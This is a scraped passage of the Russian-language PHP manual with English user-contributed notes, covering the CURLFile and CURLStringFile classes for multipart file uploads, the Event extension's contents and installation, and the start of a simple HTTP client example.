<input type="file" name="file[]" />

Here's the php code to handle multiple uploads.

<?php
    $cURLHandle = curl_init();
    // ... more code ...
    $postFields = array(
        'file[0]' => new cURLFile($file1, $mimetype1, $basename1),
        'file[1]' => new cURLFile($file2, $mimetype2, $basename2)
    )

    curl_setopt($cURLHandle, CURLOPT_POSTFIELDS, $fields);

    // ... more code ...
?>
Each file's mimetype can be determined by finfo, and its basename can be fetched from $_FILES if it is uploaded from the client-end or by pathinfo() if it is locally stored.

Don't leave the square brackets in ''file[0]'' empty like 'file[]', in that way only the last file will be received by the remote server.
humbads at gmail dot com 02-Sep-2015 02:13
// For backward compatibility,
// convert @ prefixed file names to CurlFile class
// since @ prefix is deprecated as of PHP 5.6
if(is_array($postfields) == true)
{
    // Check each post field
    foreach($postfields as $key => $value)
    {
        // Convert values for keys starting with '@' prefix
        if(strpos($value, '@') === 0)
        {
            // Get the file name
            $filename = ltrim($value, '@');
            // Convert the value to the new class
            $postfields[$key] = new CURLFile($filename);
        }
    }
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);

This code should be extended if support for the ';type=mimetype' suffix is needed.
alin dot rzv at gmail dot com 18-Aug-2014 01:37
i've seen some downvotes , here is a small example of using curl to upload image .

<?php
$target="http://youraddress.tld/example/upload.php";

# http://php.net/manual/en/curlfile.construct.php

// Create a CURLFile object / procedural method
$cfile = curl_file_create('resource/test.png','image/png','testpic'); // try adding

// Create a CURLFile object / oop method
#$cfile = new CURLFile('resource/test.png','image/png','testpic'); // uncomment and use if the upper procedural method is not working.

// Assign POST data
$imgdata = array('myimage' => $cfile);

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $target);
curl_setopt($curl, CURLOPT_USERAGENT,'Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.15');
curl_setopt($curl, CURLOPT_HTTPHEADER,array('User-Agent: Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.15','Referer: http://someaddress.tld','Content-Type: multipart/form-data'));
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_POST, true); // enable posting
curl_setopt($curl, CURLOPT_POSTFIELDS, $imgdata); // post images
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
$r = curl_exec($curl);
curl_close($curl);

?>
CertaiN 04-Jun-2014 04:56
There are "@" issue on multipart POST requests.

Solution for PHP 5.5 or later:
- Enable CURLOPT_SAFE_UPLOAD.
- Use CURLFile instead of "@".

Solution for PHP 5.4 or earlier:
- Build up multipart content body by youself.
- Change "Content-Type" header by yourself.

The following snippet will help you :D

<?php

/**
 * For safe multipart POST request for PHP5.3 ~ PHP 5.4.
 *
 * @param resource $ch cURL resource
 * @param array $assoc "name => value"
 * @param array $files "name => path"
 * @return bool
 */
function curl_custom_postfields($ch, array $assoc = array(), array $files = array()) {

    // invalid characters for "name" and "filename"
    static $disallow = array("\0", "\"", "\r", "\n");

    // build normal parameters
    foreach ($assoc as $k => $v) {
        $k = str_replace($disallow, "_", $k);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"",
            "",
            filter_var($v),
        ));
    }

    // build file parameters
    foreach ($files as $k => $v) {
        switch (true) {
            case false === $v = realpath(filter_var($v)):
            case !is_file($v):
            case !is_readable($v):
                continue; // or return false, throw new InvalidArgumentException
        }
        $data = file_get_contents($v);
        $v = call_user_func("end", explode(DIRECTORY_SEPARATOR, $v));
        $k = str_replace($disallow, "_", $k);
        $v = str_replace($disallow, "_", $v);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"; filename=\"{$v}\"",
            "Content-Type: application/octet-stream",
            "",
            $data,
        ));
    }

    // generate safe boundary
    do {
        $boundary = "---------------------" . md5(mt_rand() . microtime());
    } while (preg_grep("/{$boundary}/", $body));

    // add boundary for each parameters
    array_walk($body, function (&$part) use ($boundary) {
        $part = "--{$boundary}\r\n{$part}";
    });

    // add final boundary
    $body[] = "--{$boundary}--";
    $body[] = "";

    // set options
    return @curl_setopt_array($ch, array(
        CURLOPT_POST       => true,
        CURLOPT_POSTFIELDS => implode("\r\n", $body),
        CURLOPT_HTTPHEADER => array(
            "Expect: 100-continue",
            "Content-Type: multipart/form-data; boundary={$boundary}", // change Content-Type
        ),
    ));
}

?>


Создаёт объект CURLFile

  • « CURLFile
  • CURLFile::getFilename »
  • PHP Manual
  • CURLFile
  • Создаёт объект CURLFile

CURLFile::__construct

curl_file_create

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::__construct -- curl_file_create — Создаёт объект CURLFile

Описание

Объектно-ориентированный стиль

public CURLFile::__construct(string $filename, ?string $mime_type = null, ?string $posted_filename = null)

Процедурный стиль

curl_file_create(string $filename, ?string $mime_type = null, ?string $posted_filename = null): CURLFile

Создаёт объект CURLFile, используемый для загрузки файла с использованием опции CURLOPT_POSTFIELDS.

Список параметров

filename

Путь к файлу, который будет загружен

mime_type

Mime-тип файла.

posted_filename

Имя файла при отправке методом POST.

Возвращаемые значения

Возвращает объект типа CURLFile.

Список изменений

Версия | Описание
8.0.0 | mime_type и posted_filename теперь допускают значение null; раньше значением по умолчанию был 0.

Примеры

Пример #1 Пример использования CURLFile::__construct()

Объектно-ориентированный стиль

<?php
/* http://example.com/upload.php:
<?php var_dump($_FILES); ?>
*/

// Создаём дескриптор cURL
$ch = curl_init('http://example.com/upload.php');

// Создаём объект CURLFile
$cfile = new CURLFile('cats.jpg','image/jpeg','test_name');

// Устанавливаем данные для POST
$data = array('test_file' => $cfile);
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

// Запускаем дескриптор на выполнение
curl_exec($ch);
?>

Процедурный стиль

<?php
/* http://example.com/upload.php:
<?php var_dump($_FILES); ?>
*/

// Создаём дескриптор cURL
$ch = curl_init('http://example.com/upload.php');

// Создаём объект CURLFile
$cfile = curl_file_create('cats.jpg','image/jpeg','test_name');

// Устанавливаем данные для POST
$data = array('test_file' => $cfile);
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

// Запускаем дескриптор на выполнение
curl_exec($ch);
?>

Результат выполнения данного примера:

array(1) {
  ["test_file"]=>
  array(5) {
    ["name"]=>
    string(9) "test_name"
    ["type"]=>
    string(10) "image/jpeg"
    ["tmp_name"]=>
    string(14) "/tmp/phpPC9Kbx"
    ["error"]=>
    int(0)
    ["size"]=>
    int(46334)
  }
}

Пример #2 Пример использования CURLFile::__construct() для загрузки нескольких файлов

Объектно-ориентированный стиль

<?php
$request = curl_init('http://www.example.com/upload.php');
curl_setopt($request, CURLOPT_POST, true);
curl_setopt($request, CURLOPT_SAFE_UPLOAD, true);
curl_setopt($request, CURLOPT_POSTFIELDS, [
'blob[0]' => new CURLFile(realpath('first-file.jpg'), 'image/jpeg'),
'blob[1]' => new CURLFile(realpath('second-file.txt'), 'text/plain'),
'blob[2]' => new CURLFile(realpath('third-file.exe'), 'application/octet-stream'),
]);
curl_setopt($request, CURLOPT_RETURNTRANSFER, true);

echo curl_exec($request);

var_dump(curl_getinfo($request));

curl_close($request);

Процедурный стиль

<?php
// procedural
$request = curl_init('http://www.example.com/upload.php');
curl_setopt($request, CURLOPT_POST, true);
curl_setopt($request, CURLOPT_SAFE_UPLOAD, true);
curl_setopt($request, CURLOPT_POSTFIELDS, [
'blob[0]' => curl_file_create(realpath('first-file.jpg'), 'image/jpeg'),
'blob[1]' => curl_file_create(realpath('second-file.txt'), 'text/plain'),
'blob[2]' => curl_file_create(realpath('third-file.exe'), 'application/octet-stream'),
]);
curl_setopt($request, CURLOPT_RETURNTRANSFER, true);

echo curl_exec($request);

var_dump(curl_getinfo($request));

curl_close($request);

Результат выполнения данного примера:

array(26) {
  ["url"]=>
  string(31) "http://www.example.com/upload.php"
  ["content_type"]=>
  string(24) "text/html; CHARSET=Windows-1251"
  ["http_code"]=>
  int(200)
  ["header_size"]=>
  int(198)
  ["request_size"]=>
  int(196)
  ["filetime"]=>
  int(-1)
  ["ssl_verify_result"]=>
  int(0)
  ["redirect_count"]=>
  int(0)
  ["total_time"]=>
  float(0.060062)
  ["namelookup_time"]=>
  float(0.028575)
  ["connect_time"]=>
  float(0.029011)
  ["pretransfer_time"]=>
  float(0.029121)
  ["size_upload"]=>
  float(3230730)
  ["size_download"]=>
  float(811)
  ["speed_download"]=>
  float(13516)
  ["speed_upload"]=>
  float(53845500)
  ["download_content_length"]=>
  float(811)
  ["upload_content_length"]=>
  float(3230730)
  ["starttransfer_time"]=>
  float(0.030355)
  ["redirect_time"]=>
  float(0)
  ["redirect_url"]=>
  string(0) ""
  ["primary_ip"]=>
  string(13) "0.0.0.0"
  ["certinfo"]=>
  array(0) {
  }
  ["primary_port"]=>
  int(80)
  ["local_ip"]=>
  string(12) "0.0.0.0"
  ["local_port"]=>
  int(34856)
}

Смотрите также

  • curl_setopt() - Устанавливает параметр для сеанса CURL

User Contributed Notes

CertaiN 04-Jun-2014 04:55
There are "@" issue on multipart POST requests.

Solution for PHP 5.5 or later:
- Enable CURLOPT_SAFE_UPLOAD.
- Use CURLFile instead of "@".

Solution for PHP 5.4 or earlier:
- Build up multipart content body by youself.
- Change "Content-Type" header by yourself.

The following snippet will help you :D

<?php

/**
 * For safe multipart POST request for PHP5.3 ~ PHP 5.4.
 *
 * @param resource $ch cURL resource
 * @param array $assoc "name => value"
 * @param array $files "name => path"
 * @return bool
 */
function curl_custom_postfields($ch, array $assoc = array(), array $files = array()) {

    // invalid characters for "name" and "filename"
    static $disallow = array("\0", "\"", "\r", "\n");

    // build normal parameters
    foreach ($assoc as $k => $v) {
        $k = str_replace($disallow, "_", $k);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"",
            "",
            filter_var($v),
        ));
    }

    // build file parameters
    foreach ($files as $k => $v) {
        switch (true) {
            case false === $v = realpath(filter_var($v)):
            case !is_file($v):
            case !is_readable($v):
                continue; // or return false, throw new InvalidArgumentException
        }
        $data = file_get_contents($v);
        $v = call_user_func("end", explode(DIRECTORY_SEPARATOR, $v));
        $k = str_replace($disallow, "_", $k);
        $v = str_replace($disallow, "_", $v);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"; filename=\"{$v}\"",
            "Content-Type: application/octet-stream",
            "",
            $data,
        ));
    }

    // generate safe boundary
    do {
        $boundary = "---------------------" . md5(mt_rand() . microtime());
    } while (preg_grep("/{$boundary}/", $body));

    // add boundary for each parameters
    array_walk($body, function (&$part) use ($boundary) {
        $part = "--{$boundary}\r\n{$part}";
    });

    // add final boundary
    $body[] = "--{$boundary}--";
    $body[] = "";

    // set options
    return @curl_setopt_array($ch, array(
        CURLOPT_POST       => true,
        CURLOPT_POSTFIELDS => implode("\r\n", $body),
        CURLOPT_HTTPHEADER => array(
            "Expect: 100-continue",
            "Content-Type: multipart/form-data; boundary={$boundary}", // change Content-Type
        ),
    ));
}

?>
mipa 04-Mar-2014 08:33
For PHP < 5.5:

<?php

if (!function_exists('curl_file_create')) {
    function curl_file_create($filename, $mimetype = '', $postname = '') {
        return "@$filename;filename="
            . ($postname ?: basename($filename))
            . ($mimetype ? ";type=$mimetype" : '');
    }
}

?>


Возвращает имя файла на сервере

  • « CURLFile::__construct
  • CURLFile::getMimeType »
  • PHP Manual
  • CURLFile
  • Возвращает имя файла на сервере

CURLFile::getFilename

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::getFilename — Возвращает имя файла на сервере

Описание

public CURLFile::getFilename(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя файла.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает MIME-тип файла

  • « CURLFile::getFilename
  • CURLFile::getPostFilename »
  • PHP Manual
  • CURLFile
  • Возвращает MIME-тип файла

CURLFile::getMimeType

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::getMimeType — Возвращает MIME-тип файла

Описание

public CURLFile::getMimeType(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает MIME-тип файла.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя файла, отправляемого POST-запросом

  • « CURLFile::getMimeType
  • CURLFile::setMimeType »
  • PHP Manual
  • CURLFile
  • Возвращает имя файла, отправляемого POST-запросом

CURLFile::getPostFilename

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::getPostFilename — Возвращает имя файла, отправляемого POST-запросом

Описание

public CURLFile::getPostFilename(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя файла, отправляемого POST-запросом.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает MIME-тип

  • « CURLFile::getPostFilename
  • CURLFile::setPostFilename »
  • PHP Manual
  • CURLFile
  • Устанавливает MIME-тип

CURLFile::setMimeType

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::setMimeType — Устанавливает MIME-тип

Описание

public CURLFile::setMimeType(string $mime_type): void

Список параметров

mime_type

MIME-тип для отправки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает имя файла для отправки методом POST

  • « CURLFile::setMimeType
  • CURLStringFile »
  • PHP Manual
  • CURLFile
  • Устанавливает имя файла для отправки методом POST

CURLFile::setPostFilename

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::setPostFilename — Устанавливает имя файла для отправки методом POST

Описание

public CURLFile::setPostFilename(string $posted_filename): void

Список параметров

posted_filename

Имя файла для отправки методом POST

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс CURLStringFile

(PHP 8 >= 8.1.0)

Введение

Класс CURLStringFile позволяет загружать файл прямо из переменной. Он похож на CURLFile, но работает с содержимым файла, а не с его именем. Этот класс или CURLFile следует использовать для загрузки содержимого файла с помощью CURLOPT_POSTFIELDS.

Обзор классов

class CURLStringFile {
/* Свойства */
public string $data;
public string $postname;
public string $mime;
/* Методы */
public __construct(string $data, string $postname, string $mime = "application/octet-stream")
}

Свойства

data

Содержимое для загрузки.

postname

Имя файла, который будет использоваться в загружаемых данных.

mime

MIME-тип файла (по умолчанию application/octet-stream).

Смотрите также

  • curl_setopt()
  • CURLFile

Содержание

  • CURLStringFile::__construct — Создаёт объект CURLStringFile

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект CURLStringFile

  • « CURLStringFile
  • Event »
  • PHP Manual
  • CURLStringFile
  • Создаёт объект CURLStringFile

CURLStringFile::__construct

(PHP 8 >= 8.1.0)

CURLStringFile::__construct — Создаёт объект CURLStringFile

Описание

public CURLStringFile::__construct(string $data, string $postname, string $mime = "application/octet-stream")

Создаёт объект CURLStringFile, который используется для загрузки файла с помощью CURLOPT_POSTFIELDS.

Список параметров

data

Содержимое для загрузки.

postname

Имя файла, который будет использоваться в загружаемых данных.

mime

MIME-тип файла (по умолчанию application/octet-stream).

Примеры

Пример #1 Пример использования CURLStringFile::__construct()

<?php
/* http://example.com/upload.php:
<?php
var_dump($_FILES);
var_dump(file_get_contents($_FILES['test_string']['tmp_name']));
?>
*/

// Создание дескриптора cURL
$ch = curl_init('http://example.com/upload.php');

// Создание объекта CURLStringFile
$cstringfile = new CURLStringFile('тестовое содержимое для загрузки','test.txt','text/plain');

// Назначение данных для POST-запроса
$data = array('test_string' => $cstringfile);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

// Выполнение дескриптора
curl_exec($ch);
?>

Результат выполнения данного примера:

array(1) {
  ["test_string"]=>
  array(5) {
    ["name"]=>
    string(8) "test.txt"
    ["type"]=>
    string(10) "text/plain"
    ["tmp_name"]=>
    string(14) "/tmp/phpTtaoCz"
    ["error"]=>
    int(0)
    ["size"]=>
    int(20)
  }
}
string(20) "test upload contents"

Смотрите также

  • curl_setopt() - Устанавливает параметр для сеанса CURL

User Contributed Notes

inmarket 02-May-2023 06:55
Note that the $postname and $mimetype parameters are in the reverse order to the CURLFile::__construct function.


Event

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Примеры
  • Флаги событий
  • О постоянных(persistent) событиях
  • Callback-функции
  • Создание событий для сигналов
  • Event — Класс Event
    • Event::add — Перевести событие в состояние ожидания
    • Event::addSignal — Псевдоним Event::add
    • Event::addTimer — Псевдоним Event::add
    • Event::__construct — Конструктор объекта Event
    • Event::del — Перевести событие в пассивное состояние
    • Event::delSignal — Псевдоним Event::del
    • Event::delTimer — Псевдоним Event::del
    • Event::free — Перевести событие в пассивное состояние и высвободить все выделенные для него ресурсы
    • Event::getSupportedMethods — Получить массив с именами методов, поддерживаемых в текущей версии Libevent
    • Event::pending — Проверить, что событие находится в состоянии ожидания либо что оно запланировано
    • Event::set — Переконфигурировать событие
    • Event::setPriority — Задать приоритет событию
    • Event::setTimer — Переконфигурация события таймера
    • Event::signal — Создать объект события сигнала
    • Event::timer — Создать объект события таймера
  • EventBase — Класс EventBase
    • EventBase::__construct — Конструктор объекта EventBase
    • EventBase::dispatch — Отправляет ожидающие события
    • EventBase::exit — Прекращает отправку событий
    • EventBase::free — Освобождает ресурсы, выделенные для этой базы событий
    • EventBase::getFeatures — Возвращает битовую маску поддерживаемых функций
    • EventBase::getMethod — Возвращает используемый метод события
    • EventBase::getTimeOfDayCached — Возвращает текущее время базовый событий
    • EventBase::gotExit — Проверяет, был ли цикл обработки событий завершён
    • EventBase::gotStop — Проверяет, был ли цикл обработки событий завершён
    • EventBase::loop — Отправка ожидающих событий
    • EventBase::priorityInit — Устанавливает количество приоритетов на базу событий
    • EventBase::reInit — Повторная инициализация базы событий (после разветвления)
    • EventBase::stop — Сообщает event_base прекратить отправку событий
  • EventBuffer — Класс EventBuffer
    • EventBuffer::add — Добавляет данные в конец буфера событий
    • EventBuffer::addBuffer — Перемещает все данные из буфера экземпляру EventBuffer
    • EventBuffer::appendFrom — Перемещает указанное количество байтов из исходного буфера в конец текущего буфера
    • EventBuffer::__construct — Создаёт объект EventBuffer
    • EventBuffer::copyout — Копирует указанное количество байтов с начала буфера
    • EventBuffer::drain — Удаляет указанное количество байтов с начала буфера, никуда не копируя
    • EventBuffer::enableLocking — Описание
    • EventBuffer::expand — Резервирует пространство в буфере
    • EventBuffer::freeze — Предотвращает вызовы, которые изменяют буфер событий в случае успешного выполнения
    • EventBuffer::lock — Получает блокировку буфера
    • EventBuffer::prepend — Записывает данные в начало буфера
    • EventBuffer::prependBuffer — Перемещает все данные из исходного буфера в начало текущего буфера
    • EventBuffer::pullup — Линеаризует данные в буфере и возвращает их содержимое в виде строки
    • EventBuffer::read — Читает данные из evbuffer и истощает прочитанные байты
    • EventBuffer::readFrom — Читает данные из файла в конец буфера
    • EventBuffer::readLine — Извлекает строку из начала буфера
    • EventBuffer::search — Сканирует буфер на наличие строки
    • EventBuffer::searchEol — Сканирует буфер на наличие конца строки
    • EventBuffer::substr — Обрезает часть данных буфера
    • EventBuffer::unfreeze — Повторно включает вызовы, которые изменяют буфер событий
    • EventBuffer::unlock — Снимает блокировку, установленную EventBuffer::lock
    • EventBuffer::write — Записывает содержимое буфера в файл или сокет
  • EventBufferEvent — Класс EventBufferEvent
    • EventBufferEvent::close — Закрывает дескриптор файла, связанный с текущим событием буфера
    • EventBufferEvent::connect — Подключает файловый дескриптор события буфера к указанному адресу или сокету UNIX
    • EventBufferEvent::connectHost — Подключается по имени хоста с возможностью асинхронного разрешения DNS
    • EventBufferEvent::__construct — Создаёт объект EventBufferEvent
    • EventBufferEvent::createPair — Создаёт два буферных события, связанных друг с другом
    • EventBufferEvent::disable — Отключает чтение, запись или и то, и другое в событии буфера
    • EventBufferEvent::enable — Включает чтение, запись или и то, и другое в событии буфера
    • EventBufferEvent::free — Освобождает событие буфера
    • EventBufferEvent::getDnsErrorString — Возвращает строку, описывающую последнюю неудачную попытку поиска DNS
    • EventBufferEvent::getEnabled — Возвращает битовую маску событий, которые в данный момент активированы для буферного события
    • EventBufferEvent::getInput — Возвращает базовый входной буфер, связанный с текущим буферным событием
    • EventBufferEvent::getOutput — Возвращает базовый выходной буфер, связанный с текущим буферным событием
    • EventBufferEvent::read — Читает данные буфера
    • EventBufferEvent::readBuffer — Сливает все содержимое буфера ввода и помещает его в буфер
    • EventBufferEvent::setCallbacks — Назначает callback-функции для чтения, записи и события (состояния)
    • EventBufferEvent::setPriority — Присваивает приоритет bufferevent
    • EventBufferEvent::setTimeouts — Устанавливает время ожидания чтения и записи для события буфера
    • EventBufferEvent::setWatermark — Регулирует водяные знаки чтения и/или записи
    • EventBufferEvent::sslError — Возвращает последнюю ошибку OpenSSL, сообщённую буферному событию
    • EventBufferEvent::sslFilter — Создаёт новое событие буфера SSL для отправки своих данных через другое событие буфера
    • EventBufferEvent::sslGetCipherInfo — Возвращает текстовое описание шифра
    • EventBufferEvent::sslGetCipherName — Возвращает текущее имя шифра соединения SSL
    • EventBufferEvent::sslGetCipherVersion — Возвращает версию шифра, используемого текущим SSL-соединением
    • EventBufferEvent::sslGetProtocol — Возвращает имя протокола, используемого для текущего соединения SSL
    • EventBufferEvent::sslRenegotiate — Сообщает буферному событию начать пересмотр SSL
    • EventBufferEvent::sslSocket — Создаёт новое буферное событие SSL для отправки своих данных через SSL в сокет
    • EventBufferEvent::write — Добавляет данные в буфер вывода буферного события
    • EventBufferEvent::writeBuffer — Добавляет содержимое всего буфера в буфер вывода буферного события
  • О callback-функциях событийного буфера
  • EventConfig — Класс EventConfig
    • EventConfig::avoidMethod — Попросить libevent не использовать определённый метод события
    • EventConfig::__construct — Создать объект EventConfig
    • EventConfig::requireFeatures — Ввести требуемые приложением свойства метода события
    • EventConfig::setFlags — Устанавливает один или несколько флагов для настройки возможной инициализации EventBase
    • EventConfig::setMaxDispatchInterval — Предотвратить инверсию приоритетов
  • EventDnsBase — Класс EventDnsBase
    • EventDnsBase::addNameserverIp — Добавляет сервер имён в базу DNS
    • EventDnsBase::addSearch — Добавляет домен в список поисковых доменов
    • EventDnsBase::clearSearch — Удаляет все текущие суффиксы поиска
    • EventDnsBase::__construct — Конструктор объекта EventDnsBase
    • EventDnsBase::countNameservers — Получает количество настроенных серверов имён
    • EventDnsBase::loadHosts — Загружает файл hosts (в том же формате, что и /etc/hosts) из файла hosts
    • EventDnsBase::parseResolvConf — Сканирует файл в формате resolv.conf
    • EventDnsBase::setOption — Устанавливает значение параметра конфигурации
    • EventDnsBase::setSearchNdots — Устанавливает параметр 'ndots' для поиска
  • EventHttp — Класс EventHttp
    • EventHttp::accept — Заставляет HTTP-сервер принимать соединения с указанным потоком сокета или ресурсом
    • EventHttp::addServerAlias — Добавляет псевдоним сервера к объекту HTTP-сервера
    • EventHttp::bind — Привязывает HTTP-сервер к указанному адресу и порту
    • EventHttp::__construct — Создаёт объект EventHttp (HTTP-сервер)
    • EventHttp::removeServerAlias — Удаляет псевдоним сервера
    • EventHttp::setAllowedMethods — Устанавливает, какие методы HTTP поддерживаются в запросах, принятых этим сервером и переданных callback-функции пользователя
    • EventHttp::setCallback — Устанавливает callback-функцию для указанного URI
    • EventHttp::setDefaultCallback — Устанавливает callback-функцию по умолчанию для обработки запросов, которые не перехватываются конкретными callback-функциями
    • EventHttp::setMaxBodySize — Устанавливает максимальный размер тела запроса
    • EventHttp::setMaxHeadersSize — Устанавливает максимальный размер HTTP-заголовка
    • EventHttp::setTimeout — Устанавливает время ожидания для HTTP-запроса
  • EventHttpConnection — Класс EventHttpConnection
    • EventHttpConnection::__construct — Конструктор объекта EventHttpConnection
    • EventHttpConnection::getBase — Возвращает базу событий, связанную с соединением
    • EventHttpConnection::getPeer — Получает удалённый адрес и порт, связанный с соединением
    • EventHttpConnection::makeRequest — Делает HTTP-запрос по указанному соединению
    • EventHttpConnection::setCloseCallback — Устанавливает callback-функцию при закрытии соединения
    • EventHttpConnection::setLocalAddress — Устанавливает IP-адрес, с которого происходят HTTP-соединения
    • EventHttpConnection::setLocalPort — Устанавливает локальный порт, с которого производятся соединения
    • EventHttpConnection::setMaxBodySize — Устанавливает максимальный размер тела для подключения
    • EventHttpConnection::setMaxHeadersSize — Устанавливает максимальный размер заголовка
    • EventHttpConnection::setRetries — Устанавливает максимальное количество повторов для соединения
    • EventHttpConnection::setTimeout — Устанавливает время ожидания для соединения
  • EventHttpRequest — Класс EventHttpRequest
    • EventHttpRequest::addHeader — Добавляет заголовок HTTP к заголовкам запроса
    • EventHttpRequest::cancel — Отменяет ожидающий HTTP-запрос
    • EventHttpRequest::clearHeaders — Удаляет все выходные заголовки из списка заголовков запроса
    • EventHttpRequest::closeConnection — Закрывает связанное HTTP-соединение
    • EventHttpRequest::__construct — Конструктор объекта EventHttpRequest
    • EventHttpRequest::findHeader — Получает значение заголовка
    • EventHttpRequest::free — Освобождает объект и удаляет связанные события
    • EventHttpRequest::getBufferEvent — Возвращает объект EventBufferEvent
    • EventHttpRequest::getCommand — Возвращает команду запроса (метод)
    • EventHttpRequest::getConnection — Возвращает объект EventHttpConnection
    • EventHttpRequest::getHost — Возвращает хост запроса
    • EventHttpRequest::getInputBuffer — Возвращает входной буфер
    • EventHttpRequest::getInputHeaders — Возвращает ассоциативный массив входных заголовков
    • EventHttpRequest::getOutputBuffer — Возвращает выходной буфер запроса
    • EventHttpRequest::getOutputHeaders — Возвращает ассоциативный массив выходных заголовков
    • EventHttpRequest::getResponseCode — Возвращает код ответа
    • EventHttpRequest::getUri — Возвращает URI запроса
    • EventHttpRequest::removeHeader — Удаляет заголовок HTTP из заголовков запроса
    • EventHttpRequest::sendError — Отправляет HTML-сообщение об ошибке клиенту
    • EventHttpRequest::sendReply — Отправляет HTML-ответ клиенту
    • EventHttpRequest::sendReplyChunk — Отправляет блок данных, как часть текущего фрагментированного ответа
    • EventHttpRequest::sendReplyEnd — Заполняет фрагментарный ответ, освобождая запрос соответствующим образом
    • EventHttpRequest::sendReplyStart — Инициирует фрагментарный ответ
  • EventListener — Класс EventListener
    • EventListener::__construct — Создать новый слушатель соединения, связанный с событийной базой
    • EventListener::disable — Отключает событие подключения к объекту слушателя
    • EventListener::enable — Включает событие подключения к объекту слушателя
    • EventListener::getBase — Возвращает базу событий, связанную со слушателем событий
    • EventListener::getSocketName — Получает текущий адрес, к которому привязан сокет слушателя
    • EventListener::setCallback — Цель setCallback
    • EventListener::setErrorCallback — Устанавливает callback-функцию ошибки слушателя событий
  • EventSslContext — Класс EventSslContext
    • EventSslContext::__construct — Конструктор контекста OpenSSL для использования в классах Event
  • EventUtil — Класс EventUtil
    • EventUtil::__construct — Абстрактный конструктор
    • EventUtil::getLastSocketErrno — Получить номер последней возникшей ошибки сокета
    • EventUtil::getLastSocketError — Получить последнюю возникшую ошибку сокета
    • EventUtil::getSocketFd — Получить числовой файловый дескриптор сокета или потока
    • EventUtil::getSocketName — Получить текущий адрес, к которому привязан сокет
    • EventUtil::setSocketOption — Установить опции сокета
    • EventUtil::sslRandPoll — Сгенерировать энтропию с помощью RAND_poll() из OpenSSL

User Contributed Notes

grzegorz129 at gmail dot com 26-Nov-2016 09:14
Stubs / headers for this library are available in IDE-agnostic format on GitHub: https://github.com/kiler129/pecl-event-stubs


Введение

Модуль для эффективного мониторинга процессов ввода/вывода, и событий таймера и сигналов, использующий лучший из доступных для конкретной платформы механизмов уведомления о событиях ввода/вывода. Модуль является переписанной для PHP библиотеки libevent.

Замечание:

Обратите внимание, что поддержка Windows появилась в event-1.9.0.

В версии 1.0.0 добавлено новое объектно-ориентированное API (ломающее обратную совместимость) и поддержка libevent 2+, включая HTTP, DNS, OpenSSL и перехватчик сигналов.

Замечание:

Обратите внимание, что event-1.0.0 и выше не совместимы с предыдущими версиями.

User Contributed Notes

AoK 16-May-2014 04:06
PHP event service works at PHP 5.4+.  Couldn't get event to work on a PHP 5.3.10 install.

To get event working (OS X as an example):
1. brew install libevent
2. sudo pecl install event

This is tricky because pecl yields both "event" and "libevent" packages.  I was successful with "event" and not "libevent".


Требования

Модулю требуется библиотека » libevent. Библиотека присутствует в большинстве современных дистрибутивов.

Для функционала OpenSSL требуется библиотека » OpenSSL.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/event.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Пример #1 Простой клиент HTTP

<?php
// Функция обратного вызова обработки чтения
function readcb($bev, $base) {
//$input = $bev->input; //$bev->getInput();

//$pos = $input->search("TTP");
$pos = $bev->input->search("TTP");

while (($n = $bev->input->remove($buf, 1024)) > 0) {
echo $buf;
}
}

// Функция обратного вызова обработки события
function eventcb($bev, $events, $base) {
if ($events & EventBufferEvent::CONNECTED) {
echo "Соединение установлено.\n";
} elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
if ($events & EventBufferEvent::ERROR) {
echo "Ошибка DNS: ", $bev->getDnsErrorString(), PHP_EOL;
}

echo "Закрываем соединение\n";
$base->exit();
exit("Готово\n");
}
}

if ($argc != 3) {
echo <<<EOS
Trivial HTTP 0.x client
Syntax: php {$argv[0]} [hostname] [resource]
Example: php {$argv[0]} www.google.com /

EOS;
exit();
}

$base = new EventBase();

$dns_base = new EventDnsBase($base, TRUE); // Используем асинхронный запрос к DNS
if (!$dns_base) {
exit("Failed to init DNS Base\n");
}

